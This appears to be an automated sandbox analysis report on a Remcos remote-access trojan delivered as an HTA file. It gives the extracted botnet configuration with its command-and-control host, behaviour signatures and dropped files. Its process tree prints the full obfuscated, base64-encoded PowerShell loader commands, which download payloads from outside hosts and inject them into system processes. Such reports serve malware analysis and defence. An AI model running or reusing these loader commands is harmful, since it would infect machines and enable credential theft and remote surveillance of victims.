remcos | ac4ab4116f0955571d28bdb8024437ad7a8b379c3ca613b16f837d6768370e8e

Analysis

max time kernel
150s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20250129-en
resource tags

arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
submitted
06-02-2025 11:27

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General

Target

sheismybestgirlwholovesmebestwithgirlfirstnightgoood.hta
Size

14KB
MD5

32bd7fd6ff215717e8c312e746d73271
SHA1

fa44ea813d1714d501676bf422eb1757610e25af
SHA256

ac4ab4116f0955571d28bdb8024437ad7a8b379c3ca613b16f837d6768370e8e
SHA512

cf82ae3f481648749175f2269a41c7206bc9f3c2b0d4ea5d2e9eb973f812c638e03327aa1cf365607cde878df7102a44aadbdb99e056e0846589e2f3704b4702
SSDEEP

96:qTK35MrK357i6TRwrA8L0l9wK35LK35ciK35S:qTsSrsZi6TRwrEwsVseisw

Score

10^/10

remcos zyn5 collection defense_evasion discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

zyn5

sweetnessofbestthingsgivenbest.duckdns.org:14645

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-CXOW4E
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/1400-109-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/4984-107-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/3560-105-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/3560-105-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/4984-107-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 4 IoCs

flow	pid	Process
23	2496	powershell.exe
26	3392	powershell.exe
28	3392	powershell.exe
29	3392	powershell.exe

Evasion via Device Credential Deployment 1 IoCs

defense_evasion execution

pid	Process
2496	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	CasPol.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3392	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3392 set thread context of 3972	3392	powershell.exe	101
PID 3972 set thread context of 4984	3972	CasPol.exe	103
PID 3972 set thread context of 3560	3972	CasPol.exe	104
PID 3972 set thread context of 1400	3972	CasPol.exe	106

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2436272344-4274332273-444425594-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2496	powershell.exe
2496	powershell.exe
3392	powershell.exe
3392	powershell.exe
4984	CasPol.exe
4984	CasPol.exe
1400	CasPol.exe
1400	CasPol.exe
4984	CasPol.exe
4984	CasPol.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
3972	CasPol.exe
3972	CasPol.exe
3972	CasPol.exe
3972	CasPol.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2496	powershell.exe
Token: SeDebugPrivilege	3392	powershell.exe
Token: SeDebugPrivilege	1400	CasPol.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 3880 wrote to memory of 3620	3880	mshta.exe	86
PID 3880 wrote to memory of 3620	3880	mshta.exe	86
PID 3880 wrote to memory of 3620	3880	mshta.exe	86
PID 3620 wrote to memory of 2496	3620	cmd.exe	89
PID 3620 wrote to memory of 2496	3620	cmd.exe	89
PID 3620 wrote to memory of 2496	3620	cmd.exe	89
PID 2496 wrote to memory of 3340	2496	powershell.exe	92
PID 2496 wrote to memory of 3340	2496	powershell.exe	92
PID 2496 wrote to memory of 3340	2496	powershell.exe	92
PID 3340 wrote to memory of 2348	3340	csc.exe	94
PID 3340 wrote to memory of 2348	3340	csc.exe	94
PID 3340 wrote to memory of 2348	3340	csc.exe	94
PID 2496 wrote to memory of 2388	2496	powershell.exe	97
PID 2496 wrote to memory of 2388	2496	powershell.exe	97
PID 2496 wrote to memory of 2388	2496	powershell.exe	97
PID 2388 wrote to memory of 3392	2388	WScript.exe	98
PID 2388 wrote to memory of 3392	2388	WScript.exe	98
PID 2388 wrote to memory of 3392	2388	WScript.exe	98
PID 3392 wrote to memory of 3972	3392	powershell.exe	101
PID 3392 wrote to memory of 3972	3392	powershell.exe	101
PID 3392 wrote to memory of 3972	3392	powershell.exe	101
PID 3392 wrote to memory of 3972	3392	powershell.exe	101
PID 3392 wrote to memory of 3972	3392	powershell.exe	101
PID 3392 wrote to memory of 3972	3392	powershell.exe	101
PID 3392 wrote to memory of 3972	3392	powershell.exe	101
PID 3392 wrote to memory of 3972	3392	powershell.exe	101
PID 3392 wrote to memory of 3972	3392	powershell.exe	101
PID 3392 wrote to memory of 3972	3392	powershell.exe	101
PID 3972 wrote to memory of 4984	3972	CasPol.exe	103
PID 3972 wrote to memory of 4984	3972	CasPol.exe	103
PID 3972 wrote to memory of 4984	3972	CasPol.exe	103
PID 3972 wrote to memory of 4984	3972	CasPol.exe	103
PID 3972 wrote to memory of 3560	3972	CasPol.exe	104
PID 3972 wrote to memory of 3560	3972	CasPol.exe	104
PID 3972 wrote to memory of 3560	3972	CasPol.exe	104
PID 3972 wrote to memory of 3560	3972	CasPol.exe	104
PID 3972 wrote to memory of 4712	3972	CasPol.exe	105
PID 3972 wrote to memory of 4712	3972	CasPol.exe	105
PID 3972 wrote to memory of 4712	3972	CasPol.exe	105
PID 3972 wrote to memory of 1400	3972	CasPol.exe	106
PID 3972 wrote to memory of 1400	3972	CasPol.exe	106
PID 3972 wrote to memory of 1400	3972	CasPol.exe	106
PID 3972 wrote to memory of 1400	3972	CasPol.exe	106

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\sheismybestgirlwholovesmebestwithgirlfirstnightgoood.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3880
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/c PoWERsheLl -EX bYPasS -nOP -W 1 -C DeVIcEcrEDEntiAlDeplOymeNt.eXe ; IEX($(iEx('[sYSteM.TExt.ENCODing]'+[cHAr]58+[cHAr]0X3a+'UTF8.gETstrIng([SystEM.cOnVert]'+[chAR]0X3A+[cHAR]58+'fROMbaSe64STring('+[CHAR]34+'JEQxcTM5YUtMICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC1UWXBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lbWJlcmRFZmluSVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR2Zlem4sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc1FiVW0sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXhubGR3Zix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaGZILEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoV0JSVW9oc3MpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJrZVFWeWd3aCIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZXNwYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVGNTbEpQeWZocm4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJEQxcTM5YUtMOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3NC4xNDYveGFtcHAva2Ivc2hlaXNteWJlc3RnaXJsd2hvbG92ZXNtZWJlc3R3aXRoZ2lybGZpcnN0bmlnaHRnby5nSUYiLCIkZU52OkFQUERBVEFcc2hlaXNteWJlc3RnaXJsd2hvbG92ZXNtZWJlc3R3aXRoZ2lybGZpcnN0bmlnaHRnLnZicyIsMCwwKTtTVGFSdC1TTGVFUCgzKTtpbnZva2UtSXRlbSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcc2hlaXNteWJlc3RnaXJsd2hvbG92ZXNtZWJlc3R3aXRoZ2lybGZpcnN0bmlnaHRnLnZicyI='+[CHar]34+'))')))"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3620
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    PoWERsheLl -EX bYPasS -nOP -W 1 -C DeVIcEcrEDEntiAlDeplOymeNt.eXe ; IEX($(iEx('[sYSteM.TExt.ENCODing]'+[cHAr]58+[cHAr]0X3a+'UTF8.gETstrIng([SystEM.cOnVert]'+[chAR]0X3A+[cHAR]58+'fROMbaSe64STring('+[CHAR]34+'JEQxcTM5YUtMICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC1UWXBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lbWJlcmRFZmluSVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR2Zlem4sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc1FiVW0sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXhubGR3Zix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaGZILEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoV0JSVW9oc3MpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJrZVFWeWd3aCIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZXNwYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVGNTbEpQeWZocm4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJEQxcTM5YUtMOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3NC4xNDYveGFtcHAva2Ivc2hlaXNteWJlc3RnaXJsd2hvbG92ZXNtZWJlc3R3aXRoZ2lybGZpcnN0bmlnaHRnby5nSUYiLCIkZU52OkFQUERBVEFcc2hlaXNteWJlc3RnaXJsd2hvbG92ZXNtZWJlc3R3aXRoZ2lybGZpcnN0bmlnaHRnLnZicyIsMCwwKTtTVGFSdC1TTGVFUCgzKTtpbnZva2UtSXRlbSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcc2hlaXNteWJlc3RnaXJsd2hvbG92ZXNtZWJlc3R3aXRoZ2lybGZpcnN0bmlnaHRnLnZicyI='+[CHar]34+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2496
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\401qha3k\401qha3k.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3340
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAB63.tmp" "c:\Users\Admin\AppData\Local\Temp\401qha3k\CSC4391C9F9960949AE92D9AB1E5938F87.TMP"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2348
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\sheismybestgirlwholovesmebestwithgirlfirstnightg.vbs"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2388
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAD0AIAAnAHQAeAB0AC4AZABvAG8AZwBzAHIAZQB3AG8AbABmAGUAcwBvAHIAcgBvAGYAbgBpAGkAZwBpAHMAZABvAG8AZwBiAGsALwBiAGsALwBwAHAAbQBhAHgALwA2ADQAMQAuADQANwAxAC4ANgA0AC4AOAA5ADEALwAvADoAcAB0AHQAaAAnADsAJAByAGUAcwB0AG8AcgBlAGQAVABlAHgAdAAgAD0AIAAkAG8AcgBpAGcAaQBuAGEAbABUAGUAeAB0ACAALQByAGUAcABsAGEAYwBlACAAJwAjACcALAAgACcAdAAnADsAJABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBkAHIAbwBwAGIAbwB4AC4AYwBvAG0ALwBzAGMAbAAvAGYAaQAvAGUAaABpADYANgAzAGgAagByAG0AZgBzADUAdwA4AHMAZwAzAHoAYQBkAC8AdgBiAHMALQBqAHMALQB3AHMAZgAtAGIAYQB0AC4AagBwAGcAPwByAGwAawBlAHkAPQAyAGgAMABuAG8AaQBwAGsAOQB1AGYAeQBkAGYAZgBqAGkAOAB4AGEANwB0ADcAdABqACYAcwB0AD0AZgA2AG8AbgB2ADcAZAA0ACYAZABsAD0AMQAnADsAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgACQAdwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAaQBtAGEAZwBlAFUAcgBsACkAOwAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkAOwAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAkAHQAeQBwAGUAIAA9ACAAWwBDAGwAYQBzAHMATABpAGIAcgBhAHIAeQAxAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAG0AYQBpAG4AJwApAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIABAACgAJAByAGUAcwB0AG8AcgBlAGQAVABlAHgAdAAsACcAZgBhAGwAcwBlACcALAAnAEMAYQBzAFAAbwBsACcALAAnAGYAYQBsAHMAZQAnACkAKQA=')) | Invoke-Expression"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3392
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        6⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:3972
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\zwbsusllevl"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4984
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\jqpcvkwnaddwgr"
        7⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:3560
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\usuvodghotvbjyxpsc"
        7⤵
        
        PID:4712
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\usuvodghotvbjyxpsc"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1400

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
9faf6f9cd1992cdebfd8e34b48ea9330

SHA1
ae792d2551c6b4ad5f3fa5585c0b0d911c9f868e

SHA256
0c45700b2e83b229e25383569b85ddc0107450c43443a11633b53daf1aaed953

SHA512
05b34627f348b2973455691bcb7131e4a5236cfece653d22432746ccd14d211b9b279f0913fbd7bb150f00eb2f2c872f4f5518f3903e024699fd23c50d679e97

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
460c6613a67d37d5b26680190dd150a9

SHA1
043ef3a7a15537f13564c81a1bb9972c12cc96c3

SHA256
a32ba61fdd0f9f56ba806c3203293de340d4a2edf6a6374f98d97816231dfd78

SHA512
7429338ca297b07b202ad29f709697e73d5ed671d7b0a184ffcd15a5aa6d2bfbc11bc894c99cab7383018488a407be990d276b35b478683588fc353731a83cda

Download Submit
C:\Users\Admin\AppData\Local\Temp\401qha3k\401qha3k.dll

Filesize
3KB

MD5
044a754559ea0f74706e3554a9e3a821

SHA1
f7fe4457f5fb35598ffeb8423e5c5d9458605a61

SHA256
b5b13e699e578f71af660dc69115d5f34c577dc19e2d37193a2aa1e4d40babc4

SHA512
e6c1cdbbb08d97093c50c59efdb72a57366d7d6323428fb0dd89dc8cde09b73cf8cf6527475004a3d6e8ee91597f2189bcef42e940f3cfc633f9240967b4dcd0

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESAB63.tmp

Filesize
1KB

MD5
e0403bcb87174fe2416601242277cd46

SHA1
8cfce01f21ef8b5bae72fe5b87fa65cd26e7abc1

SHA256
b341a4c2e7edb63011ce1da1b6ea9378d36597f543e3d80da8dc963972fa1492

SHA512
794ca5a29690c1ef5f830f7b7013260cb002c24f0e15b01649583540e2ca2343760e0dc920366e39ff7bacd3bd215cf51da7c756d3240e2e312418f360a8445e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2mlsf5st.t3y.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\zwbsusllevl

Filesize
4KB

MD5
7ee436e0deb0559f4fd96c619dba6546

SHA1
e0d9ac1e6effd881b792388ef5627dac43019d1c

SHA256
fd4f747a1dcecfe9d88b8b0fe99f6a68595c916c4694ef4a0cd66652804c365c

SHA512
a2721c8a2df0d73d7523691d7bb2c5d9f1e14a7647b191aea1aa1bea62e98c858077272c3800b23e4d4558f316f6acf4f3f5f2e179d7cdb78b80978808658302

Download Submit
C:\Users\Admin\AppData\Roaming\sheismybestgirlwholovesmebestwithgirlfirstnightg.vbs

Filesize
184KB

MD5
2a0172c12274a16969fa2a1245e9a60b

SHA1
1d8415feff418d80c39a6996f6f2e8a52430d8bc

SHA256
971a54ec031c225191a17dc9f92b53187a7ec41706edc0b11ca3ceb146fafe16

SHA512
f69b6a05d5eae0ac70b30b4b1b866385f879e2f726983e4223a294fefb0f02751539323d97cc7ca59aee7dc107b7643d91b67bb05cdc9abee04c6d51e085499f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\401qha3k\401qha3k.0.cs

Filesize
482B

MD5
0955f1d0bdaede5dd37d39eacf595b95

SHA1
0d3f0c10deceaefb6804debb5c59d8333438985e

SHA256
26d892506efb1f751236d425e71ac7052c78b1bb95cfa27002d861d7c3499bea

SHA512
97f817dee082b90596c5ea5fdefd71aeb262cc5b38284c0a42a811734ac250b38c19171074c2a25decf8a4068ec4d45c12e76125469f473142c0dc53049780f8

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\401qha3k\401qha3k.cmdline

Filesize
369B

MD5
5f01cac3160cea910844d91014292cd6

SHA1
0d81f6c50e355e14f535ba00e4f0fb5038cff437

SHA256
a9498838fe1bf50693a358389c134b29d1204e8a6a48b2a1660354aa9e0a67e8

SHA512
7de04b27841181d0464676c2aac1522e0dbc3b5331dd01969ead060bf0f58c44f6ad9ad3db0348522db8bbebf986685db41eb26b71f1cf02d1a85e482fa443f7

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\401qha3k\CSC4391C9F9960949AE92D9AB1E5938F87.TMP

Filesize
652B

MD5
adca41f8615c9b6d514e41f58c8053fc

SHA1
943baa67d0aa91117e9b3b1101e09d4fb888b0f4

SHA256
c32b95eb3728110e6470ca6fce78fad5b9678eeeaa70c96878f06fd44bb537b7

SHA512
3809c3ebb34656022ddc3f9345ae2959a170101795987e0bf96b1c1f5e62dee99067785af1a6cb541f5f277f7f1acb7728e8c91efc0e2d5e7a2e5c95dc2137eb

Download Submit
memory/1400-109-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1400-104-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1400-108-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2496-67-0x00000000079F0000-0x0000000007A12000-memory.dmp

Filesize
136KB

Download
memory/2496-20-0x0000000007150000-0x0000000007182000-memory.dmp

Filesize
200KB

Download
memory/2496-23-0x000000006D7D0000-0x000000006DB24000-memory.dmp

Filesize
3.3MB

Download
memory/2496-33-0x0000000006770000-0x000000000678E000-memory.dmp

Filesize
120KB

Download
memory/2496-35-0x0000000007440000-0x00000000074E3000-memory.dmp

Filesize
652KB

Download
memory/2496-34-0x0000000070BA0000-0x0000000071350000-memory.dmp

Filesize
7.7MB

Download
memory/2496-36-0x0000000070BA0000-0x0000000071350000-memory.dmp

Filesize
7.7MB

Download
